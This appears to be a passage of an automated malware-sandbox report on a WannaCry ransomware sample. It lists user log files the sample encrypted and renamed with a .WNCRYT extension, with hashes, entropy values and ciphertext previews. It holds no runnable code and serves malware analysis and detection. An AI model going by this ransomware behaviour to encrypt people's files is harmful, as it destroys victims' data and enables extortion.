                                                                                                                        Preview:WANACRY!....j...f+l..z}........$......L..H.h.....o.#..........4s54.jC..IK........d^.J..'..e8O>..|?.e......<a5.Y9.+._ D..:..njl".>Al.....vv.J......7..._.......{N..C.?Tz5..tRm}.y9....]* ..9..|H.4V*K.4..1=.t$+D...<.I}......j...>n,&..$:...........]}'v.A..Ds..td5.i....C........S..[E.!.;..'b.I^...b.WO.k.5i...d..I....?.gy.....Lb..%/./...x*.v..tJ......|.xRM.l.&.9f...y|..ai.......=...y.<.c....u O.7..x.....R.2VF..(.0.......y..P.l.u#.{...'{Z..h.0.....G....K.RH....Y...egC.[50&X..+f..)....-?QHd!../.k...v.}.BvX.B..|T]S).0..u...D}...U..J...6.S..7.....K..RD?....<.Pv..<Q..!....W1..p..7.n.rb..m..Y.$-~...m{....IR.=...tZ....F.fb.-...p........=u2.....~.r^..z....y..W..lQ.1..?...;.y. .}.(B../e.aB.....?....0....[s..e/.9M}.S'.....9.p..\.....`.7|Xg....he.....c.Z.}.e....X..9.AWY..........o...D'.e(>..L..e'..y..+.....W....cg.....,.7.O%QR.^../L.....O.D.Q.6.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask05_25_14_44_39_3196.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.746460439176932
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkFq1Fwdq1pA/ose9BWUsu16eJJmtDgMzRfRoD:bkGwd2u/osep3LJJyzfQ
                                                                                                                        MD5:FBF1C60EAA47109240DD0007EE4EB929
                                                                                                                        SHA1:5D971985B755FB0C52A799311F2937205529BCDE
                                                                                                                        SHA-256:8669957706685D6BF4CFEBE5BD2DA6B7ABD53216D41D67F8E78DC67EE62EAF64
                                                                                                                        SHA-512:976CBA659C53A44F982D8463C5AC76F50B0AABC0EEF50100804E333E6C89002BB90985AC26589E60671810180D1E709E7882E1FBAFD4189A61D23678395E5C5E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....0..7........D.B2..L....4{......a..az.&|53^...(+...........1.i.b?..A.djH......f..cw....'%...@d.T....].....xk.......;J..R.G.o..F[.].i..[...1......#..+.%....X..R8...].7F..d.N-G._..Ds.kp.;....'.'.q.7...|...{..A..u.....j.O.?E.i%>+.W\..4p.~0.....RN5.....C.........$.L{L.x....D..................M.......,......WK.Dt...7a.8G..Or-.I.JO..[...v.ly.V....4.}.I.1Oo.`...J..'...gfa..@...z......`.\.=....J.....a..E....w..A..k...)...0.7y.YI.."}r.Sh..x.(...c.8...S...K.J......{..@.$R..XQS....t4...1Z..&..y.I ....7.w..`.MY..o..y...w.~.U.~.-....D[L.A@..|....]....'+.<...E.p..2B.p....n..t.45("".}..i..._U.h{.<..D.Q.....@....i.4...B@Z.H3?. .....$.vQ.\(....K.{..\LK.*..!....oc.r)S....&.....P...!L.....B..K...@3......,...k...1.+j...4.....W.....T...4i..]....$Ep...,..*.O.........*.$....>.!..YwO;...k.c..y....}...._z.0BxF...}E..."%.fV.......

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask05_30_09_46_46_6814.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.762258460206385
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvLXg8ytJHW22RlQMxm1ahsLz6iTq9AjfW:bkDwtJ21Tm1aOiuqwW
                                                                                                                        MD5:5075D6EA2DB05BE915C898EA55D861EE
                                                                                                                        SHA1:37A8D79928CE692E7868FD2928ED93E57FD7A8AB
                                                                                                                        SHA-256:6EB8699285E0CA508CDA5F454944494FB9166D959AEF7EF2ABB5E2E63090019E
                                                                                                                        SHA-512:021C8ACA8E323B50AE2CAB2ACE440E2D0D52B72E5A3CAB60CF7897AF1CA119824A2B905640004173EDE8CC5A4F4029253D1A01F8DAC73CE2EB954BB5BF10EA54
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......".Nz^........eS.M..3J.Fr..*.|.NG...:|pB0E....M2t~...q..}n,/..=^....I..(DEO8.e]".!..m.g..N..]s.n..'o1c.d.>..0......1..k|.R1.]...Q.._...Y{.b.>w..z..7..sq..o.]..Mv..a..g....~v..'....m...[j..=..o.k...u..`.(?..g4F..>....d.....$9w..81.A`..8.9..e.!:.]..X....C...........vV...r".L..,-..?..1.. ."....9jKy..?..S..J05..=G.$..+...Kt.pa.C.5~:.j/pd.m.w...{....y....`.1~..5.k.DQ....s..U........1u....uc..z........B...1.X.v{2..mU.....[.....h3....f.;.Uj.T........ .....T .B...y.y..a)_.9..,By.._.h.).l...I..K....Q.$.a..[iT.....a0.C..s!.Q...p.\..Q.....o..;.5..0.2.V.......}....."."...y.ud.....^J>..E....BQ...Mq`..j./waK....@..K.7.....[3:.{.P.....#..o..a.a....M(.c...w.gy...o=....q.....oe.n.\>e..n..|C.:....4...p...U.C.E...9.l..l9>....1.u6.'?Q..)g;By.&....6...l)]V..mB......T.v./....Y..|....{G=.Ig.$.8..o.o.X.>t_^.2.p...4....7.EH3...Ub.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask06_19_17_19_46_1049.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.763897836805906
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkFsGavOH48ya/bLu1O76cwwXTAN1QVB6gND5lX58xncN7:bkFsc48ya/nWmVBv3pMcN7
                                                                                                                        MD5:D6B7E7EB30341DE5EEF3C4604A7B8EE1
                                                                                                                        SHA1:448FDB0229076E5929F9D8F1F6803C97DB50369D
                                                                                                                        SHA-256:545D2C526ECBA5C513197005AC8B14F703570653F0D8B5D3AA52D53586352009
                                                                                                                        SHA-512:CA3F4FA580656A332EFC84EBB9E52F0B9EE0656437706231E41E6403D950B72A3A07B369A127B63609D5F669B1403FC42F3F2933561EEB9F789A446FB7A26B38
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..../-....g./..T{.Q..N..J.Z...HX.....>..,.3%.......a$.Ss...9.;.f..3.oA.W..m/.6...MD.X&......M.......D5...e.;...y..S.58.HH1#....G>..s...% .Z.....m....7~.*.3.y..R.v.M.?.........{.u...s....@..Y.%.S...7.0.#BC.y....f....U..c.}K...K..b...M...R..KP|....C........A.s,..=E.(...L...Lh.#.C.).!..c.%Iu.. 1{gI....+t....Tt.........:4.B..?.}U....l...^.......W|S.n...^...PE.~.v.uo%.]...q.0.f..:u........b..\..'w.}..,.....`...>m.l...}...<."!.v..g.wX....=.....Ob3.....@.Ug.1/...{.p.......7..h.V.q...E..V&...(.....n?.tt\X.......tV'[[/.Z.S...D[.h...^.b7.+M...*...+.?.U.d\...#K.......T...v..I..-'.nd.\.I.7..K~.vDAa....-.....rx.w......t.v......o.DC.O! .Z.YfV@....\.A........#.F'...95.0...crM.UCqo&)........(..ai......_.....h..H.7..N|...h.}t..yQ!.rfE.+m...ut..o.-`G.J......@...3.9r.r./...p!...,..^n..w........rc~..V.C...TC%..w.....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask08_05_19_44_36_6781.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.772934483578176
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk0WSk4ELMjFwHVPvrzxSp+XnRjUq5jNZ/eguO:bk0o4Y6ISpsnRn5jziO
                                                                                                                        MD5:E745DCAE6A5DF3F0AC055ABD3068E79E
                                                                                                                        SHA1:575105B24035FBD6B16CB30C4F5C4E0F82CB7D38
                                                                                                                        SHA-256:05CABFB8BCEF648AE88E6DD586A122918F9FA3B5862CE552E485BFFAD9471278
                                                                                                                        SHA-512:D781207DFF228375DAF61C1F4C43D5AC1743C5353EBB3258126CC8394888B42E8163C2BE25EA5FCFC222423DBFF6BB2270E35A2BEF22FB3777F72052107D548F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........(....Ry....'....L.Y..'..w.)D.3.+.....qy..1..Bk]%.B._...>X...U{.8.G=....!T .....6...._~.....o|..7;...B6P.a.....w.6(0.L.AaD.Y&..3y..f.;......=E..@x.I.[..c2r ...R....m.i\.....N....h..$....p.......u-.....Z.X>w._...p..X.e......g...~.+.hK#.(...a....C........eN.L.v<./ax.v...%.....:}...}.b....71.V2t....0.)....u..*2....O...^...T'Sf\.n..R.e.".N......I...._...}...u...... R.6..yZK..)f..|....O.s...([s..?-..&...&...C.c.K.;.8^..p.MZ....o.(.i.5....b.:5..e...y.{.0..h.E\.._..O28].....Lc.Bpc..%2[...@...j.[.fg.&.;..q.....=.Gf7]W..1.g{a.x..g.U..h.+.CF^Y......S..fi...4,..[..q..y_M.P:..9.o..c..c`..5.KA.......D...p.. [o.N.!.W...A...-.....=z...?F.>.n.r......I.v.A\.....Z....A.`.......9P.IO.=0du ..).. p.(-._x2.....|.`.F.7.eo&....[.'.=.%...?..Z......3rJd6,...S..0^fw..N..e8..%H=EX.4.....y...MY........L....O...?.#..-_..V./...;Oa...Z...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask08_30_03_46_50_4245.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.710657783811114
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkoCGmD+tb/QrESfqiRGm3lXN1JQ6XhkqUQe8rJNZ9bD0qWn:bkoO+t8wkZRGmb1i6XhnjP0qW
                                                                                                                        MD5:382AC631B41C8EFF93912495290655FB
                                                                                                                        SHA1:4CAF123DC76E4EEE126E8C429BE7DBFEA2AD1F4F
                                                                                                                        SHA-256:F67AAE719A648DE151A6DAC0155151B2865A1EF3546AD820FA9E2D254DA4C7AC
                                                                                                                        SHA-512:90FC0A6AC24B09F9A5981D52D6500EAACD3BEFCAB3A363F423C75CB113B7DDECF60053D20A01564AA253B3CB6FB37BE1CE77A7A8CA913B9064700AB23A2D12DE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....{,..3......`4.o6k.!.9....T2L..b)....H.c..%..{.)?.^... ..4+>....mV..9g..c(....i.Bd..RP$e?....A....k.$..9........9..2..^.@...T...9..!.Yk...X.0.Q&..m.E...?.....?..?.X]{..T*!..sS..w<..?...4......,.,...q.&co..Jv..W.-l..C..+.&.D.R..3......dG.c8.o....C.........P..,_'.?X..s..'.....+.i...`...z&..s...B.a0..w.^......>.g..@pG...........3.nw9.gvG4.-....=...f.H.0f".yp8;..!...U..I...c.*~..d.Qo.......H.R.WM..........q...lzY....N....65.Xj.r@.G..Mj-...I...0U.....M..x..-1.h.!:............z.....I.i-8]ta.. K..%.Ty.\.n..dG.Dg..|.@.y?z.a.fS.].I...2.G....b...'.._...UP'.OXL."......G..Ym.f...h(5.^....6..EB..q*mKt.X....B&h.N..V..d.:..&.1{{..c!....k....E...kUT...I0.sBm..C=U..t..CR....i.[\...H./..L...j..X...nq{.(8.......\.....6.. (..\..fO][Y.y7.....Q...A....k....'*.=*n..E.gg..l.Oo......Y.Dn..Y.C;}I;t[!n.@.k.6.c.m.."..m....S.XBV`.a..(.,.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_02_13_37_41_2773.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.781375589583384
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk95TD30WcRJTqEqlRdNXziDoMSk3I7iV5uYmL6L:bkzTIWc3qZR3iDbSukiVBL
                                                                                                                        MD5:26B61E4CD71D1AD942EC585185CFF17D
                                                                                                                        SHA1:21E3089826073DB747DE755533F365754D5D1327
                                                                                                                        SHA-256:475797AA435D97FE697617F58D634073C9B8D7BE01F5BD8F1CB6BA72A9BE6735
                                                                                                                        SHA-512:E92DB611A099DC6E4518A9F017CA8315AD9CC7D79227383B14F72C6978A8F811B2D0097AFDA0A6ABC30F490D4C04C302D5ED78B5EDE8C870DFE0A553978824AA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......9..R9.....h.P.....yl.>..6...!.u}6.....zt....=..u.vFY.J.......;.T..0~i.*.P\..."2E;g......Q..m..h.-Q.dM.R......@......4......\.l..P..R@!..?g....@...+.Q...1e.S..]Z.:c......P....cs......`ff.....d}aD.."3......~1...m...P.i8.....N..X.+{cu6l.e...8.....C.......V~...h.1.:...|....!.<...4-,uR..5....T..,.G. .\.s..M;:z*"e&...z..;N..&..M.0k6.._.......(q.k...,g!..%.*.........f...G..K.u..3`.x.=.i......?7$e<.xc......8u.y..(.q...C....4..LD...T..X...;.,......i.e:Y.u.N2.I......h.5..b.3..w.X.V6w...z@t.w]n\.ZZd......>../.ZP...%.%.54Z...I.H.t...7df&.{......+....-@.5..~u...m...@[.f,.3...j9U.H.UZ.;.h.'...........g..'..}?*..>.8G~....W.(..;..W....4ZJe".D'...zg.%o..:Z....j.?5A_[6.Y.-.g?.0..P..C..6.8 .i.}..}.....0.dS.....;.V.=6.D..{.2...35Jp)...k....k^6[87e..<.[.a#.mz..rG.9...RU...UaqT#....b..U....>.P$..1*.}.{rJY...i..E>..Oc... .N.Z8v.x..A..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_10_10_47_44_9070.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.755012010105586
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkF/fJ5/aWrnUDCFgpdMlqGRAX52gON7dLbBKibwqehJQ:bkF/fJ0qKqwA+2geLFKrU
                                                                                                                        MD5:E49E561B433BDCDBF7B08D63453051D2
                                                                                                                        SHA1:93F9A55D492FA062593E800D82032FF157D4E641
                                                                                                                        SHA-256:7FA459544190AD8AE374D4469B76A8DE58E4F04BBF9564243654C88A717E4BE5
                                                                                                                        SHA-512:056E2447CCD4E3FE4D11C5D1DC04DF8B78891A308AB322A27B276375692150BB7DD2BFA625AD3B5E667EDBF6AD6C30394D2C04E9F2D5A06A659A6C25D5084001
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....i..>.z....T..v.. ..L..9......?....V..6(<.^)......$L.x].0k.}t...i.U.d..XL....&......."-..U....lB.....;.(......g..4@.. dP3R..5.t......N..-.cQ:...;.3*Q..y..\.."z.}..q<.gb........dP..U;+.fht...p..=........V..y......c..O.N.4Z=....NWn...........Z......C........`...R...%\.F.B.!..;..g.j.....'.9.....'n....r..Yr.g".....h...K.......b;+F..(J...!N1L.N...hX/s....=.......^]:o...z.....i......v\.CW_C..#[F.<i(.....P...@?{....Q.. u-.......b...<.8<h3..zzI.h$}T@..B(Z.d... .X.x.s..8.E1...a.....+.7...>,a.Q.7A..2...p.....sFPr5`...).X..5d.'.e.VyJ....B..u.U..,t.._aS&.c.3.JA..y...[)YW.C.).6...4..'.!.#.Gu'....x?...G.@.r..:....3k<.(.....t.`Q2L,.L...G.ON..0......r.e...Zg..1^...z.....3..{V....9.c.?z.6./e...pa.....;.q$i0.%.#G0.C.0I....\..,.._......#.p.^....R...4...-.T....(u.......E.T.M.Wi.^.XV..x4..lA..Cg`U*u.q....*..p...k...E..wB..{l..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_22_11_18_56_1666.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.767415914507965
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkBEo4LICrbr67O1g/s5EGPL/52TbJvTPO4+iZo+ZjYK6hx:bkSPLwOGk5E2CJrV+iy+ZjRY
                                                                                                                        MD5:3499C7611ED5B5190CD53A3D20DAFCF4
                                                                                                                        SHA1:AB951FAD85B8A95D7B34026F5E409641F1B79761
                                                                                                                        SHA-256:2FE72B01BE91F27975729579131222C568B40CA086CA94AF1D0E714A9713A037
                                                                                                                        SHA-512:61DD8B0D9F9A3ABDA0E9DA2DFE56E6918E6BAD4B0FA5A382542A1964B3D01A6BDBBDEA60917C9B189E9D59C3A16497C794E9C38AC90440C620F97F16DB158411
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....LVM.{$;r.[&...I..&.......S.7.MD...f.v.<&[......Q_.X.k@......mqEa...t._..M..Y.. ....%...,.....[...0..K.....91^...c.,|...}V6.............WS...H.5.0....r..ZC.....y....u.kk.V.J..6....P..=l.....8x.....R....l.!.<....B....$.Vr.y.lf./{...y...N.........C.......rgT.(|...'~..uZ..D.HdK#`..7..T..G2.2.l2.H..I./.0hx....!.T..E...>b........_. G.B)0.\...B...QA.m.Q..qd.v.J...... ...*'N|...z"..g..a..._............./..~..b.w$,.....4./.x.......u:.}.7ZYqm.'.6">...h.W. ..&H..b.......t.5......x.......]0.;...M.C.....3y.!...~.P.|./'.....lu...{...#.I7...x.=.Y..m.{.b.2........P.EN.NxQ..4.K.Y..^P..@!"."5".%.6.9...`.2f....>M.Hs.N./p.......n..,....o........e....Hc.2.w....#..0..u^".T.7$y......>. F.5f..W.`..(...g..R;.&d..HF.E.V.s..v.i.le..i...{j.,...I.....PB...-R.....'..J....|.u.....T..eR..3..ga..!.".d...w...9..9I#B..**P.9.9f.8l..V.,.+...s.-9oP

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_30_13_13_40_5442.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.738627718577405
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkb2IsWdvtny4tuUamC9mjPTJtyrM3V+sfcNRu:bkb2ID1y4Ut+90YQRu
                                                                                                                        MD5:38B176CA77D1C5556FB7F3AC14CE29EF
                                                                                                                        SHA1:904AF61A9326E50A14DC3347C5661355D734DF2C
                                                                                                                        SHA-256:1F809F7C99EA3EACECDBF3FE2FAA96B19CFB8E4270D5120D1F485E8A84CA9AF0
                                                                                                                        SHA-512:32438891B1BE4E43641F43772C0DDFFAEA31474D53EBD16918CA6A4E3DF40E80EBE2CD0620FAB45747E3501D433F7C9914D64CE41C162E6BFA5AE39037ACC703
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....(O...u.L!Vrh..W@..eddB...H......i..mg.x....I#I.N[}U..C..'\...kF..D...b.........f".........X.....~...6j....8[...O......5eF_....'.........o...q...Wp..h.e...N...c..D....w.uM.....30.L.,.v.:._.Q.q.M...].\.u<nM._.[......5t#7\.....m.;..E.l.Ynayad?.....C.......x.t..6.BK-DM......]~.2..d..............L....5O.dT.....D.....C...T-`8..:`.[.a..\8.O....q.#.....>..@t..x....k.a.]..M.-\3#..r......c/\...j.n.......a."_(.Ou.h...>*....:.2jp..X.Mt...q.Q...#..q..............g.!.....nG..R...l......O..su..^.iCb.1...{....T.....|u.(_D.G&E.C.G._.y?..W."...U.g9F...@..\....;...:.c.{YV;....fARm.+...NF.........=2.M.N...~2%.q..*....@o..Q.u.>o...Q..>..r\..E......V.......s....|`<....*}.bT[.H.m6....R.........?.(7.\...rV....0.f@IZ...&..m..)...*a.&.....JdAs..w2;....v{).lCx....}..^..M.^R....wi....JRdY...:2bo..-.vG......A......LV.^.e...\]^.[...+^

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask06_19_12_32_41_2610.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1256
                                                                                                                        Entropy (8bit):7.829831406991508
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkzj+4HrH193IgjhcFAFoQRMXatXqA+4yyDJCUjbtgX5TBr2oTAYu7:bk24LH1phhtmPXmoyljbtgXNR2oTAj7
                                                                                                                        MD5:483AE984B5452262E3B3474F0FF12491
                                                                                                                        SHA1:9C4B5F9D033BC9A46B275B311402357D8808B11D
                                                                                                                        SHA-256:B62A5EEE7594BF48C04EE4F2EC4C6DE81C0787A4D98B22E04ED52C8C18C97FFD
                                                                                                                        SHA-512:7A5187AA142C685DDC0DCA56DE2C0A6DAA8178E1852C358B15C865CFFD3D127BFCCA24760C666571921411D705AE3B42BC01262BC08AC9808375C7FE24CEAA32
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..............`\..!.%....2...3...se]9.".p....6~.^..(.>.....e.v.V.".:. 4.....g....&_...U..3m\....62|...Jp.h.$X.@.G3.)....p......+G_...:m..i.K..W...O...X......B....?.<._.\.l...}...u....."c.tm.9H.....X.........F..D.}_..Y(.......J....V.q......:>9.....................C.....0F&...M.s.t=...,.4.=..7W&....&G.."...O^.gLv.....xW/I...s.C....H....Go..Jh.........:.e...^..<G.>..h.. .D7.Q.T@.b._.\..X...E2b._v...f..0)..\....m.O......$Yu....%^[.^.O.f...\.,.E......x.^y....5BP...*.&...Cw.!......[X..a..<X......L.^..(.r...>M.p......X....8h.......A.n...5..T..P..H./...X?...'..Z.tG.o\.d..f:.......6@-:.=...m,..gPB...@.d2....7.+.\&,\$..R;....'.w=>/.!=.Lv.8w....d...x..._...d..._...:.`.kx.av.g...........Ft...a..V.\._..F...#/.DoID.].>.5....P.p...D.L...r[04wd..Ix..!S.....U.2..)|.R.83J"+...?..........j.i.....,F..O..6..{{..g]....W.!n.#.R:...,....`y.:.c.u..C(.._>.A.,9..x......qZ..a. v..y..w.....~....M..D..:6ol!....*.........,....0.......,..F.F..'......-..e.8?.G6..Lt

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_05_16_21_23_8984.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1256
                                                                                                                        Entropy (8bit):7.840569644729225
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkdhi0YMNxMbmNRfNSDU0/R+Ss/A0WRSr+LpaGqa6Nc4G:bkdGbmNRNERjRjyc4G
                                                                                                                        MD5:DAD023B18887CB1D9A6FF11CBA3CB2C3
                                                                                                                        SHA1:3639C52603A7C40FD824BDF78CD5E1A0245EDD24
                                                                                                                        SHA-256:0D7CCEA2E0E784C6D977722150372E8337E64CDDE8AA5196474380E0EC0651A1
                                                                                                                        SHA-512:3896DDEFBC3BA378CDEBABF4855592D5C2F3A3F583F6320370646652BA6F3C9177E5FA100B945C37D3756578716137343235BE7BBE8881243DD6131DF1F691C1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........I....."S7.... ...{.yj.T...8....d."....$.?....Q.R.k.[-.;....G...t...-E4#..D{.9...., ....A4Qd...V.c..?.H.o...B.Rq.r..*....ts....'........a.w..A..pkq..!d........j.(E.....|.......$p./.%.XY.u.@.^.Xe...v<n..P..c...K.........7\9...8T...../"O..............a.;\3bT...S.a/&*....79."j.Lia.^.....zs...q.....n...k7..W....k..J....2.jJ.j.1..$$.g...%.....cjR.*.#....0j..} .!y8.-._.'...B..u.<..b..E.....q....'d.3D..j{..!....!!.4...eL...7wK..n.*.sY.'...V^.e`........9.M/..JY..xJmL\.J.[~....4.4....8....g..ER........r`.....:...y>....e..]FN.}~.....]|......rA.*h......J.x.q.9..h.F.F...m"hA....(..Sb.G.X.{..yj.HO%!8.^AO...>>&.Z.&.......G....&~......r.53.:..N?.........@@.....`..d..*.;.E..Q..|.A.'...4P...0(.CS.Y..O..............M...4Z[..v...X.&.<.IB^.g...v.5..m...q...:K..W.K.>Lr.Z/:.....W.h.L.D..2.!)....ae........|JA.mrD.ew...Q^BJWx..,.C..1.....!."..)..*.....=..}.b;'..~..."O.x......G~O.l.~w&f.:...."0.........k.b....C.....\J..i!y..'..!.....o).

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_19_38_8611.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1880
                                                                                                                        Entropy (8bit):7.881423879096287
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkVPubiZpg5EIMClOrXS8Q6CKLpZp54BIilObe:oVPubiIy/C8QnKN4
                                                                                                                        MD5:A8B3B4EACD6CDF02855752C81FDD34FE
                                                                                                                        SHA1:472A989D5A7A148CE9320E608645A348AE87DE07
                                                                                                                        SHA-256:108C618C43652330D6F9E920C1BB3C3A244CC58E079198A84B334ADF75E63B39
                                                                                                                        SHA-512:A0FA0466BDC42A3EC453EBCFE6D99B46B574432224BC3200A6CAB3FEBA86E3F7DC326F13F6F26596FECDB34EBD311846415610D7A5D36A4E87CB6B19D9498D3C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..../.B./.z..~.&..`<..*eHH...:.&...K.s.=.0.......z)..\h-.#.h..3.J...^...mA.7.h'...pr...Y2...H+....q.._p(.x...Y...kb.+k'.Pkrc^..{p.#...d.(\9.......F.Gr.a(4r.,}...=....2/....k..#"...EY.X...bXU..;.c.).....W.5..S......k..m.w,O....B....Q....bc.G....tT.....5.........qe.....a....S)l.B.Js.<.lb..x}.Iq...o0.t.~.G.J4.-...c.V.^S....Z........I..RY];.r-....'-..7....@..>S&0>.XbZb@...X/fr.<LZ....+YSAzJ.9.i...Z.7...gD...28...Tg...}..g..82.W.B"Bha.K..U........._1..=*}:O[uAz.......E..#....?P)......E.*..G.R7F.G..E\..c...$ `..,.... ..@.... ..t....[...........$....b..lO..J.4[w.6...6U.....~...v;..p.......T...!..e.Dt..]B...a ... Im<....^..q..h1..uj......Iy.-...-p1.2.d..<MMF.........Jf.W#.G....o.....0V.l.(. >...U.-.&..z.....^.()..b...b.Y.Q...o...J...rQB.-.....{...%HK;...?8..?...s.D..p...S.....8...3[..s......#(...V..D.j..r.N.8l...go.r..".W.....GA.t .B..6{.x..D.........M.C.~.....]D....w@....M.O.....W...?.~...u.<....g.Zu...".>IUo......<N1....:K...../..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_50_48_4321.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1944
                                                                                                                        Entropy (8bit):7.892371659268813
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkup1176xIlexDrJO8yD3p21K2ZQ5oQa27KR:oud2mg9c8S2TJR
                                                                                                                        MD5:395CE5FAFF07F6AFD4DCF09208218C5B
                                                                                                                        SHA1:5FE5D8CFE16D445CE7BD22832C30B574C5FB9728
                                                                                                                        SHA-256:A4F1D8466A035766430E26809A241F06F200F7306CE217AA8187D30B8B5B6815
                                                                                                                        SHA-512:A52825ADC556E3F6E2BCC4F422E78322BEA802C59C8FD37C352F99D6ED2C31C67877AAE97172CD142AB53EDD33DC1766EFD4B69845163C48A43208BA6BDA68CC
                                                                                                                        Malicious:false
